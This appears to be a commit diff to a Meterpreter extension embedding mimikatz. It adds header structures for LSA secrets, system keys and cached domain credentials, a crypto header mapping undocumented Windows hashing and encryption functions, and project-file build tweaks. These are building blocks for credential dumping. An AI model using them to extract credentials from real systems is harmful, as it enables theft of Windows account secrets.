BYTE encryptedSecret[ANYSIZE_ARRAY];
} NT5_HARD_SECRET, *PNT5_HARD_SECRET;
typedef struct _NT5_SYSTEM_KEY {
BYTE key[16];
} NT5_SYSTEM_KEY, *PNT5_SYSTEM_KEY;
#define LAZY_NT5_IV_SIZE 16
typedef struct _NT5_SYSTEM_KEYS {
DWORD unk0;
DWORD unk1;
DWORD unk2;
NT5_SYSTEM_KEY keys[3];
BYTE lazyiv[LAZY_NT5_IV_SIZE];
} NT5_SYSTEM_KEYS, *PNT5_SYSTEM_KEYS;
typedef struct _MSCACHE_ENTRY {
WORD szUserName;
WORD szDomainName;
WORD szEffectiveName;
WORD szfullName;
WORD szlogonScript;
WORD szprofilePath;
WORD szhomeDirectory;
WORD szhomeDirectoryDrive;
DWORD userId;
DWORD primaryGroupId;
DWORD groupCount;
WORD szlogonDomainName;
WORD unk0;
FILETIME lastWrite;
DWORD revision;
DWORD sidCount;
DWORD flags;
DWORD unk1;
DWORD logonPackage;
WORD szDnsDomainName;
WORD szupn;
BYTE iv[32];
BYTE enc_data[ANYSIZE_ARRAY];
} MSCACHE_ENTRY, *PMSCACHE_ENTRY;
typedef struct _MSCACHE_DATA {
BYTE mshashdata[LM_NTLM_HASH_LENGTH];
BYTE unkhash[LM_NTLM_HASH_LENGTH];
DWORD unk0;
DWORD unk1;
DWORD unkLength;
DWORD unk2;
DWORD unk3;
DWORD unk4;
DWORD unk5;
DWORD unk6;
DWORD unk7;
DWORD unk8;
} MSCACHE_DATA, *PMSCACHE_DATA;
typedef struct _LSA_CALLBACK_CTX
{
VOID (*pPolicyVersionHandler)(LPVOID lpContext, USHORT usMajor, USHORT usMinor);
VOID (*pNt5KeyHandler)(LPVOID lpContext, DWORD dwIndex, PNT5_SYSTEM_KEY pSysKey);
VOID (*pNt6KeyHandler)(LPVOID lpContext, DWORD dwIndex, PNT6_SYSTEM_KEY pSysKey);
VOID (*pNt6KeyStreamHandler)(LPVOID lpContext, PNT6_SYSTEM_KEYS pSyskeyStream);
VOID (*pCompNameHandler)(LPVOID lpContext, wchar_t* lpwComputerName);
VOID (*pSysKeyHandler)(LPVOID lpContext, LPBYTE pKey, DWORD dwKeyLen);
VOID(*pSecretHandler)(LPVOID lpContext, wchar_t* lpwSecretName, wchar_t* lpwServiceInfo, LPBYTE pMd4Digest, LPVOID pCurrent, DWORD dwCurrentSize, LPVOID pOld, DWORD dwOldSize);
LPVOID lpContext;
} LSA_CALLBACK_CTX, *PLSA_CALLBACK_CTX;

View File

@ -0,0 +1,188 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by/3.0/fr/
*/
#pragma once
#include "globals.h"
#include "kull_m_string.h"
#define MD4_DIGEST_LENGTH 16
#define MD5_DIGEST_LENGTH 16
#define SHA_DIGEST_LENGTH 20
#define DES_KEY_LENGTH 7
#define DES_BLOCK_LENGTH 8
typedef struct _MD4_CTX {
DWORD state[4];
DWORD count[2];
BYTE buffer[64];
BYTE digest[MD4_DIGEST_LENGTH];
} MD4_CTX, *PMD4_CTX;
typedef struct _MD5_CTX {
DWORD count[2];
DWORD state[4];
BYTE buffer[64];
BYTE digest[MD5_DIGEST_LENGTH];
} MD5_CTX, *PMD5_CTX;
typedef struct _SHA_CTX {
BYTE buffer[64];
DWORD state[5];
DWORD count[2];
} SHA_CTX, *PSHA_CTX;
typedef struct _SHA_DIGEST {
BYTE digest[SHA_DIGEST_LENGTH];
} SHA_DIGEST, *PSHA_DIGEST;
typedef struct _CRYPTO_BUFFER {
DWORD Length;
DWORD MaximumLength;
PBYTE Buffer;
} CRYPTO_BUFFER, *PCRYPTO_BUFFER;
typedef CONST CRYPTO_BUFFER *PCCRYPTO_BUFFER;
extern VOID WINAPI MD4Init(PMD4_CTX pCtx);
extern VOID WINAPI MD4Update(PMD4_CTX pCtx, LPCBYTE data, DWORD cbData);
extern VOID WINAPI MD4Final(PMD4_CTX pCtx);
extern VOID WINAPI MD5Init(PMD5_CTX pCtx);
extern VOID WINAPI MD5Update(PMD5_CTX pCtx, LPCBYTE data, DWORD cbData);
extern VOID WINAPI MD5Final(PMD5_CTX pCtx);
extern VOID WINAPI A_SHAInit(PSHA_CTX pCtx);
extern VOID WINAPI A_SHAUpdate(PSHA_CTX pCtx, LPCBYTE data, DWORD cbData);
extern VOID WINAPI A_SHAFinal(PSHA_CTX pCtx, PSHA_DIGEST pDigest);
#define RtlEncryptDES1block1key SystemFunction001
#define RtlDecryptDES1block1key SystemFunction002
#define RtlEncryptDESMagicBlock1key SystemFunction003
#define RtlEncryptDESblocksECB SystemFunction004
#define RtlDecryptDESblocksECB SystemFunction005
#define RtlDigestLM SystemFunction006
#define RtlDigestNTLM SystemFunction007
#define RtlLMResponseToChallenge SystemFunction008
// = SystemFunction009 (SystemFunction008 - RtlLMResponseToChallenge)
#define RtlDigestMD4only16Bytes SystemFunction010
// = SystemFunction011 (SystemFunction010 - RtlDigest16BytesMD4)
#define RtlEncryptDES2blocks2keys SystemFunction012
#define RtlDecryptDES2blocks2keys SystemFunction013
// = SystemFunction014 (SystemFunction012 - RtlEncryptDES2blocks2keys)
// = SystemFunction015 (SystemFunction013 - RtlDecryptDES2blocks2keys)
#define RtlEncryptDES2blocks1key SystemFunction016
#define RtlDecryptDES2blocks1key SystemFunction017
// = SystemFunction018 (SystemFunction016 - RtlEncryptDES2blocks1key)
// = SystemFunction019 (SystemFunction017 - RtlDecryptDES2blocks1key)
// = SystemFunction020 (SystemFunction012 - RtlEncryptDES2blocks2keys)
// = SystemFunction021 (SystemFunction013 - RtlDecryptDES2blocks2keys)
// = SystemFunction022 (SystemFunction012 - RtlEncryptDES2blocks2keys)
// = SystemFunction023 (SystemFunction013 - RtlDecryptDES2blocks2keys)
#define RtlEncryptDES2blocks1DWORD SystemFunction024
#define RtlDecryptDES2blocks1DWORD SystemFunction025
// = SystemFunction026 (SystemFunction024 - RtlEncryptDES2blocks1DWORD)
// = SystemFunction027 (SystemFunction025 - RtlDecryptDES2blocks1DWORD)
// ? Session Key through RPC SystemFunction028
// ? Session Key through RPC SystemFunction029
#define RtlEqualMemory16Bytes SystemFunction030
// = SystemFunction031 (SystemFunction030 - RtlEqualMemory16Bytes)
#define RtlEncryptDecryptRC4 SystemFunction032
// = SystemFunction033 (SystemFunction032 - RtlEncryptDecryptARC4)
// ? Session Key through RPC SystemFunction034
#define RtlCheckSignatureInFile SystemFunction035
extern NTSTATUS WINAPI RtlEncryptDES1block1key(IN LPCBYTE data, IN LPCBYTE key, OUT LPBYTE output);
extern NTSTATUS WINAPI RtlDecryptDES1block1key(IN LPCBYTE data, IN LPCBYTE key, OUT LPBYTE output);
extern NTSTATUS WINAPI RtlEncryptDESMagicBlock1key(IN LPCBYTE key, OUT LPBYTE output);
extern NTSTATUS WINAPI RtlEncryptDESblocksECB(IN PCCRYPTO_BUFFER data, IN PCCRYPTO_BUFFER key, OUT PCRYPTO_BUFFER output);
extern NTSTATUS WINAPI RtlDecryptDESblocksECB(IN PCCRYPTO_BUFFER data, IN PCCRYPTO_BUFFER key, OUT PCRYPTO_BUFFER output);
extern NTSTATUS WINAPI RtlDigestLM(IN LPCSTR data, OUT LPBYTE output);
extern NTSTATUS WINAPI RtlDigestNTLM(IN PCUNICODE_STRING data, OUT LPBYTE output);
extern NTSTATUS WINAPI RtlLMResponseToChallenge(IN LPCBYTE challenge, IN LPCBYTE hash, OUT LPBYTE output);
extern NTSTATUS WINAPI RtlDigestMD4only16Bytes(IN LPVOID unk0, IN LPCBYTE data, OUT LPBYTE output);
extern NTSTATUS WINAPI RtlEncryptDES2blocks2keys(IN LPCBYTE data, IN LPCBYTE key, OUT LPBYTE output);
extern NTSTATUS WINAPI RtlDecryptDES2blocks2keys(IN LPCBYTE data, IN LPCBYTE key, OUT LPBYTE output);
extern NTSTATUS WINAPI RtlEncryptDES2blocks1key(IN LPCBYTE data, IN LPCBYTE key, OUT LPBYTE output);
extern NTSTATUS WINAPI RtlDecryptDES2blocks1key(IN LPCBYTE data, IN LPCBYTE key, OUT LPBYTE output);
extern NTSTATUS WINAPI RtlEncryptDES2blocks1DWORD(IN LPCBYTE data, IN LPDWORD key, OUT LPBYTE output);
extern NTSTATUS WINAPI RtlDecryptDES2blocks1DWORD(IN LPCBYTE data, IN LPDWORD key, OUT LPBYTE output);
extern NTSTATUS WINAPI SystemFunction028(IN NDR_CCONTEXT CContext, OUT LPBYTE output);
extern RPC_STATUS WINAPI SystemFunction029(IN LPVOID unk0, OUT LPBYTE output);
extern BOOL WINAPI RtlEqualMemory16Bytes(IN LPCBYTE data1, IN LPCBYTE data2);
extern NTSTATUS WINAPI RtlEncryptDecryptRC4(IN OUT PCRYPTO_BUFFER data, IN PCCRYPTO_BUFFER key);
extern NTSTATUS WINAPI SystemFunction034(IN RPC_BINDING_HANDLE hRPC, IN OUT OPTIONAL HANDLE hUnk0, OUT LPBYTE output);
extern BOOL WINAPI RtlCheckSignatureInFile(IN LPCWSTR filename);
BOOL WINAPI kullRtlGenRandom(OUT LPBYTE output, IN DWORD length);
#ifndef RtlEncryptMemory
#define RtlEncryptMemory SystemFunction040
extern NTSTATUS WINAPI RtlEncryptMemory(IN OUT LPBYTE data, DWORD length, DWORD flags);
#endif
#ifndef RtlDecryptMemory
#define RtlDecryptMemory SystemFunction041
extern NTSTATUS WINAPI RtlDecryptMemory(IN OUT LPBYTE data, DWORD length, DWORD flags);
#endif
typedef NTSTATUS (WINAPI * PKERB_CHECKSUM_INITIALIZE) (DWORD unk0, PVOID * pContext);
typedef NTSTATUS (WINAPI * PKERB_CHECKSUM_SUM) (PVOID pContext, DWORD Size, LPCVOID Buffer);
typedef NTSTATUS (WINAPI * PKERB_CHECKSUM_FINALIZE) (PVOID pContext, PVOID Buffer);
typedef NTSTATUS (WINAPI * PKERB_CHECKSUM_FINISH) (PVOID * pContext);
typedef NTSTATUS (WINAPI * PKERB_CHECKSUM_INITIALIZEEX) (LPCVOID Key, DWORD KeySize, DWORD MessageType, PVOID * pContext);
typedef struct _KERB_CHECKSUM {
LONG Type;
DWORD Size;
DWORD Flag;
PKERB_CHECKSUM_INITIALIZE Initialize;
PKERB_CHECKSUM_SUM Sum;
PKERB_CHECKSUM_FINALIZE Finalize;
PKERB_CHECKSUM_FINISH Finish;
PKERB_CHECKSUM_INITIALIZEEX InitializeEx;
PVOID unk0_null;
} KERB_CHECKSUM, *PKERB_CHECKSUM;
typedef NTSTATUS (WINAPI * PKERB_ECRYPT_INITIALIZE) (LPCVOID Key, DWORD KeySize, DWORD KeyUsage, PVOID * pContext);
typedef NTSTATUS (WINAPI * PKERB_ECRYPT_ENCRYPT) (PVOID pContext, LPCVOID Data, DWORD DataSize, PVOID Output, DWORD * OutputSize);
typedef NTSTATUS (WINAPI * PKERB_ECRYPT_DECRYPT) (PVOID pContext, LPCVOID Data, DWORD DataSize, PVOID Output, DWORD * OutputSize);
typedef NTSTATUS (WINAPI * PKERB_ECRYPT_FINISH) (PVOID * pContext);
// HashPassword
// RandomKey
// Control
typedef struct _KERB_ECRYPT {
LONG Type0;
DWORD unk0;
LONG Type1;
DWORD unk1;
DWORD Size;
DWORD unk2;
DWORD unk3;
PCWSTR AlgName;
PKERB_ECRYPT_INITIALIZE Initialize;
PKERB_ECRYPT_ENCRYPT Encrypt;
PKERB_ECRYPT_DECRYPT Decrypt;
PKERB_ECRYPT_FINISH Finish;
PVOID HashPassword;
PVOID RandomKey;
PVOID Control;
PVOID unk0_null;
PVOID unk1_null;
PVOID unk2_null;
} KERB_ECRYPT, *PKERB_ECRYPT;
typedef NTSTATUS (WINAPI * PKERB_RNGFN) (PVOID Buffer, DWORD Size);
typedef struct _KERB_RNG {
LONG Type;
DWORD unk0;
DWORD unk1;
PKERB_RNGFN RngFn;
} KERB_RNG, *PKERB_RNG;
NTSTATUS WINAPI kullCDLocateCSystem(LONG type, PKERB_ECRYPT * pCSystem);
NTSTATUS WINAPI kullCDLocateCheckSum(LONG type, PKERB_CHECKSUM * pCheckSum);
extern NTSTATUS WINAPI CDLocateRng(LONG type, PKERB_RNG * pRng);

View File

@ -194,6 +194,7 @@
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalLibraryDirectories>..\..\source\extensions\kiwi\lib\Win32;..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
@ -243,6 +244,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalLibraryDirectories>..\..\source\extensions\kiwi\lib\Win32;..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
@ -289,6 +291,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalDependencies>ws2_32.lib;version.lib;samlib.lib;advapi32.hash.lib;Netapi32.lib;backcompat.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>
@ -339,6 +342,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalDependencies>ws2_32.lib;version.lib;samlib.lib;advapi32.hash.lib;Netapi32.lib;backcompat.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>
@ -385,6 +389,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>..\..\source\extensions\kiwi\inc;..\..\source\ReflectiveDLLInjection\common;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalLibraryDirectories>..\..\source\extensions\kiwi\lib\x64;..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
@ -423,6 +428,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>..\..\source\extensions\kiwi\inc;..\..\source\ReflectiveDLLInjection\common;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalLibraryDirectories>..\..\source\extensions\kiwi\lib\x64;..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
@ -469,6 +475,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<OmitFramePointers>false</OmitFramePointers>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalDependencies>ws2_32.lib;version.lib;samlib.lib;advapi32.hash.lib;Netapi32.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>
@ -523,6 +530,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<OmitFramePointers>false</OmitFramePointers>
<TreatLinkerWarningAsErrors>true</TreatLinkerWarningAsErrors>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalDependencies>ws2_32.lib;version.lib;samlib.lib;advapi32.hash.lib;Netapi32.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>
@ -580,6 +588,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_crypto.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_event.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_kernel.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_lsadump_struct.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_misc.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_net.h" />
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_privilege.h" />

View File

@ -146,6 +146,9 @@
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_lsadump.h">
<Filter>modules</Filter>
</ClInclude>
<ClInclude Include="..\..\source\extensions\kiwi\mimikatz\modules\kuhl_m_lsadump_struct.h">
<Filter>modules</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz.rc" />